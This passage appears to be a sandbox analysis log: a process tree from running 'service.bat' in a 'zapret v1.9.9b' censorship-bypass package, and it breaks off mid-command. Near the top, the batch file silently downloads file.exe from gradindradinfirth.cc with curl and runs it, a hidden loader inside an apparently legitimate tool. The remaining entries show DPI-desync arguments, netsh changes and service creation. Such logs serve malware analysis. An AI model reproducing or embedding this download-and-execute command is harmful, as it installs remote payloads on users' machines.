    "C:\Windows\system32\cmd.exe" /c ""C:\Users\Admin\Desktop\zapret v1.9.9b\service.bat" admin"
    3⤵
    PID:1940
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c "curl -s -o "C:\Users\Admin\AppData\Local\Temp\file.exe" https://gradindradinfirth.cc/dl/5a3e133b & if exist "C:\Users\Admin\AppData\Local\Temp\file.exe" (timeout /t 1 >nul & start "" "C:\Users\Admin\AppData\Local\Temp\file.exe")"
      4⤵
      PID:2136
    - - C:\Windows\system32\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\Temp\file.exe" https://gradindradinfirth.cc/dl/5a3e133b
        5⤵
        
        PID:1944
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1792
  - - C:\Windows\system32\where.exe
      where chcp
      4⤵
      PID:3884
  - - C:\Windows\system32\where.exe
      where find
      4⤵
      PID:2140
  - - C:\Windows\system32\where.exe
      where findstr
      4⤵
      PID:864
  - - C:\Windows\system32\where.exe
      where netsh
      4⤵
      PID:1644
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:3484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul | find /c /v ""
      4⤵
      PID:5184
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul"
        5⤵
        
        PID:4852
    - - C:\Windows\system32\find.exe
        
        find /c /v ""
        5⤵
        
        PID:3548
  - - C:\Windows\system32\findstr.exe
      findstr /C:"203.0.113.113/32" "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt"
      4⤵
      PID:5028
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:4452
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:3888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube 2>nul
      4⤵
      PID:5152
    - - C:\Windows\system32\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube
        5⤵
        
        PID:5168
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:3376
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:5972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul | find /c /v ""
      4⤵
      PID:640
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul"
        5⤵
        
        PID:5988
    - - C:\Windows\system32\find.exe
        
        find /c /v ""
        5⤵
        
        PID:5996
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:6004
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:2152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube 2>nul
      4⤵
      PID:440
    - - C:\Windows\system32\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube
        5⤵
        
        PID:1436
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:3264
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Write-Host \"Restart the zapret to apply the changes\" -ForegroundColor Yellow"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4152
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:4816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul | find /c /v ""
      4⤵
      PID:2300
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt" 2>nul"
        5⤵
        
        PID:4520
    - - C:\Windows\system32\find.exe
        
        find /c /v ""
        5⤵
        
        PID:1748
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:4968
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:4284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube 2>nul
      4⤵
      PID:5348
    - - C:\Windows\system32\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\zapret" /v zapret-discord-youtube
        5⤵
        
        PID:2852
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:5900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "Get-ChildItem -LiteralPath '.' -Filter '*.bat' | Where-Object { $_.Name -notlike 'service*' } | Sort-Object { [Regex]::Replace($_.Name, '(\d+)', { $args[0].Value.PadLeft(8, '0') }) } | ForEach-Object { $_.Name }"
      4⤵
      PID:1688
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "Get-ChildItem -LiteralPath '.' -Filter '*.bat' | Where-Object { $_.Name -notlike 'service*' } | Sort-Object { [Regex]::Replace($_.Name, '(\d+)', { $args[0].Value.PadLeft(8, '0') }) } | ForEach-Object { $_.Name }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type "general (ALT12).bat"
      4⤵
      PID:5584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo @echo off "
      4⤵
      PID:1200
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:1640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo chcp 65001 > nul "
      4⤵
      PID:4864
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:1364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo :: 65001 - UTF-8 "
      4⤵
      PID:5340
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cd /d "%~dp0" "
      4⤵
      PID:5460
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5448
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo call service.bat status_zapret "
      4⤵
      PID:5516
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo call service.bat check_updates "
      4⤵
      PID:1880
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:4268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo call service.bat load_game_filter "
      4⤵
      PID:2224
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo call service.bat load_user_lists "
      4⤵
      PID:5552
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:6084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo echo: "
      4⤵
      PID:6032
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo set "BIN=%~dp0bin\" "
      4⤵
      PID:220
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:3848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo set "LISTS=%~dp0lists\" "
      4⤵
      PID:1116
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:4160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cd /d %BIN% "
      4⤵
      PID:4184
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:2612
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo start "zapret: %~n0" /min "%BIN%winws.exe" --wf-tcp=80,443,2053,2083,2087,2096,8443,%GameFilterTCP% --wf-udp=443,19294-19344,50000-50100,%GameFilterUDP% ^ "
      4⤵
      An obfuscated cmd.exe command-line is typically used to evade detection.
      PID:564
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:2192
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-udp=443 --hostlist="%LISTS%list-general.txt" --hostlist="%LISTS%list-general-user.txt" --hostlist-exclude="%LISTS%list-exclude.txt" --hostlist-exclude="%LISTS%list-exclude-user.txt" --ipset-exclude="%LISTS%ipset-exclude.txt" --ipset-exclude="%LISTS%ipset-exclude-user.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ "
      4⤵
      PID:5408
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-general.txt "
      4⤵
      PID:5444
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-general-user.txt "
      4⤵
      PID:5300
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude.txt "
      4⤵
      PID:2924
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude-user.txt "
      4⤵
      PID:784
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude.txt "
      4⤵
      PID:4412
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:4288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude-user.txt "
      4⤵
      PID:1148
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%quic_initial_www_google_com.bin "
      4⤵
      PID:6132
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-udp=19294-19344,50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-fake-discord="%BIN%stun.bin" --dpi-desync-fake-discord="%BIN%quic_initial_dbankcloud_ru.bin" --dpi-desync-fake-stun="%BIN%quic_initial_dbankcloud_ru.bin" --dpi-desync-repeats=3 --new ^ "
      4⤵
      PID:1420
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:3260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%stun.bin "
      4⤵
      PID:5728
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%quic_initial_dbankcloud_ru.bin "
      4⤵
      PID:3960
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%quic_initial_dbankcloud_ru.bin "
      4⤵
      PID:4992
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-tcp=2053,2083,2087,2096,8443 --hostlist-domains=discord.media --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=681 --dpi-desync-split-pos=1 --dpi-desync-fooling=ts --dpi-desync-repeats=8 --dpi-desync-split-seqovl-pattern="%BIN%tls_clienthello_www_google_com.bin" --dpi-desync-fake-tls="%BIN%tls_clienthello_www_google_com.bin" --new ^ "
      4⤵
      PID:4604
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:2920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_www_google_com.bin "
      4⤵
      PID:816
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_www_google_com.bin "
      4⤵
      PID:5756
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-tcp=443 --hostlist="%LISTS%list-google.txt" --ip-id=zero --dpi-desync=hostfakesplit --dpi-desync-fooling=ts --dpi-desync-hostfakesplit-mod=host=www.google.com --new ^ "
      4⤵
      PID:3228
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5232
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-google.txt "
      4⤵
      PID:5764
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-tcp=80,443 --hostlist="%LISTS%list-general.txt" --hostlist="%LISTS%list-general-user.txt" --hostlist-exclude="%LISTS%list-exclude.txt" --hostlist-exclude="%LISTS%list-exclude-user.txt" --ipset-exclude="%LISTS%ipset-exclude.txt" --ipset-exclude="%LISTS%ipset-exclude-user.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=664 --dpi-desync-split-pos=1 --dpi-desync-fooling=ts --dpi-desync-repeats=8 --dpi-desync-split-seqovl-pattern="%BIN%tls_clienthello_max_ru.bin" --dpi-desync-fake-tls="%BIN%stun.bin" --dpi-desync-fake-tls="%BIN%tls_clienthello_max_ru.bin" --dpi-desync-fake-http="%BIN%tls_clienthello_max_ru.bin" --new ^ "
      4⤵
      PID:5724
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-general.txt "
      4⤵
      PID:5124
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-general-user.txt "
      4⤵
      PID:5208
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude.txt "
      4⤵
      PID:3624
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3488
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude-user.txt "
      4⤵
      PID:2388
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude.txt "
      4⤵
      PID:5908
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:1412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude-user.txt "
      4⤵
      PID:5916
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:5932
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%stun.bin "
      4⤵
      PID:4308
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:1988
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:1112
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:4296
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:1272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-udp=443 --ipset="%LISTS%ipset-all.txt" --hostlist-exclude="%LISTS%list-exclude.txt" --hostlist-exclude="%LISTS%list-exclude-user.txt" --ipset-exclude="%LISTS%ipset-exclude.txt" --ipset-exclude="%LISTS%ipset-exclude-user.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ "
      4⤵
      PID:1492
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:1504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-all.txt "
      4⤵
      PID:1808
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2396
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude.txt "
      4⤵
      PID:5840
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:4072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude-user.txt "
      4⤵
      PID:1944
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude.txt "
      4⤵
      PID:4952
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude-user.txt "
      4⤵
      PID:3368
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%quic_initial_www_google_com.bin "
      4⤵
      PID:548
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-tcp=80,443,8443 --ipset="%LISTS%ipset-all.txt" --hostlist-exclude="%LISTS%list-exclude.txt" --hostlist-exclude="%LISTS%list-exclude-user.txt" --ipset-exclude="%LISTS%ipset-exclude.txt" --ipset-exclude="%LISTS%ipset-exclude-user.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=664 --dpi-desync-split-pos=1 --dpi-desync-fooling=ts --dpi-desync-repeats=8 --dpi-desync-split-seqovl-pattern="%BIN%tls_clienthello_max_ru.bin" --dpi-desync-fake-tls="%BIN%stun.bin" --dpi-desync-fake-tls="%BIN%tls_clienthello_max_ru.bin" --dpi-desync-fake-http="%BIN%tls_clienthello_max_ru.bin" --new ^ "
      4⤵
      PID:4436
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:5056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-all.txt "
      4⤵
      PID:5188
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:4664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude.txt "
      4⤵
      PID:4452
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%list-exclude-user.txt "
      4⤵
      PID:5180
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude.txt "
      4⤵
      PID:3376
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:1292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude-user.txt "
      4⤵
      PID:5668
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5988
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:5996
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:6020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%stun.bin "
      4⤵
      PID:1572
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:1304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:2572
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:3800
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-tcp=%GameFilterTCP% --ipset="%LISTS%ipset-all.txt" --ipset-exclude="%LISTS%ipset-exclude.txt" --ipset-exclude="%LISTS%ipset-exclude-user.txt" --dpi-desync=fake,multisplit --dpi-desync-any-protocol=1 --dpi-desync-cutoff=n4 --dpi-desync-split-seqovl=664 --dpi-desync-split-pos=1 --dpi-desync-fooling=ts --dpi-desync-repeats=8 --dpi-desync-split-seqovl-pattern="%BIN%tls_clienthello_max_ru.bin" --dpi-desync-fake-tls="%BIN%stun.bin" --dpi-desync-fake-tls="%BIN%tls_clienthello_max_ru.bin" --dpi-desync-fake-http="%BIN%tls_clienthello_max_ru.bin" --new ^ "
      4⤵
      PID:5080
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:1752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-all.txt "
      4⤵
      PID:3300
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude.txt "
      4⤵
      PID:4820
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude-user.txt "
      4⤵
      PID:4956
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:4324
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:4520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%stun.bin "
      4⤵
      PID:2272
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:3880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:4284
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:5032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%tls_clienthello_max_ru.bin "
      4⤵
      PID:3704
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:2848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo --filter-udp=%GameFilterUDP% --ipset="%LISTS%ipset-all.txt" --ipset-exclude="%LISTS%ipset-exclude.txt" --ipset-exclude="%LISTS%ipset-exclude-user.txt" --dpi-desync=fake --dpi-desync-repeats=10 --dpi-desync-any-protocol=1 --dpi-desync-fake-unknown-udp="%BIN%quic_initial_dbankcloud_ru.bin" --dpi-desync-cutoff=n4 "
      4⤵
      PID:2348
  - - C:\Windows\system32\findstr.exe
      findstr /i "winws.exe"
      4⤵
      PID:4976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-all.txt "
      4⤵
      PID:4800
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:1636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude.txt "
      4⤵
      PID:4804
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:4856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %LISTS%ipset-exclude-user.txt "
      4⤵
      PID:3912
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:1416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo %BIN%quic_initial_dbankcloud_ru.bin "
      4⤵
      PID:2868
  - - C:\Windows\system32\findstr.exe
      findstr ":"
      4⤵
      PID:6068
  - - C:\Windows\system32\chcp.com
      chcp 437
      4⤵
      PID:1984
  - - C:\Windows\system32\netsh.exe
      netsh interface tcp show global
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2292
  - - C:\Windows\system32\findstr.exe
      findstr /i "timestamps"
      4⤵
      PID:2616
  - - C:\Windows\system32\findstr.exe
      findstr /i "enabled"
      4⤵
      PID:1976
  - - C:\Windows\system32\netsh.exe
      netsh interface tcp set global timestamps=enabled
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Time Discovery
      PID:5484
  - - C:\Windows\system32\net.exe
      net stop zapret
      4⤵
      PID:5512
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop zapret
        5⤵
        
        PID:5516
  - - C:\Windows\system32\sc.exe
      sc delete zapret
      4⤵
      Launches sc.exe
      PID:5540
  - - C:\Windows\system32\sc.exe
      sc create zapret binPath= "\"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\winws.exe\" --wf-tcp 80,443,2053,2083,2087,2096,8443,1024-65535 --wf-udp 443,19294-19344,50000-50100,1024-65535 --filter-udp 443 --hostlist \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general.txt\" --hostlist \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general-user.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt\" --hostlist-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt\" --ipset-exclude \"C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude-user.txt\" --dpi-desync fake --dpi-desync-repeats 11 --dpi-desync-fake-quic \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_www_google_com.bin\" --new --filter-udp 19294-19344,50000-50100 --filter-l7 discord,stun --dpi-desync fake --dpi-desync-fake-discord \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin\" --dpi-desync-fake-discord \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_dbankcloud_ru.bin\" --dpi-desync-fake-stun \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_dbankcloud_ru.bin\" --dpi-desync-repeats 3 --new --filter-tcp 2053,2083,2087,2096,8443 --hostlist-domains discord.media --dpi-desync fake,multisplit --dpi-desync-split-seqovl 681 --dpi-desync-split-pos 1 --dpi-desync-fooling ts --dpi-desync-repeats 8 --dpi-desync-split-seqovl-pattern \"C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_www_google_com.bin\" --dpi-desync-fake-tls \"C:\Users\Admin\Desktop\zapret 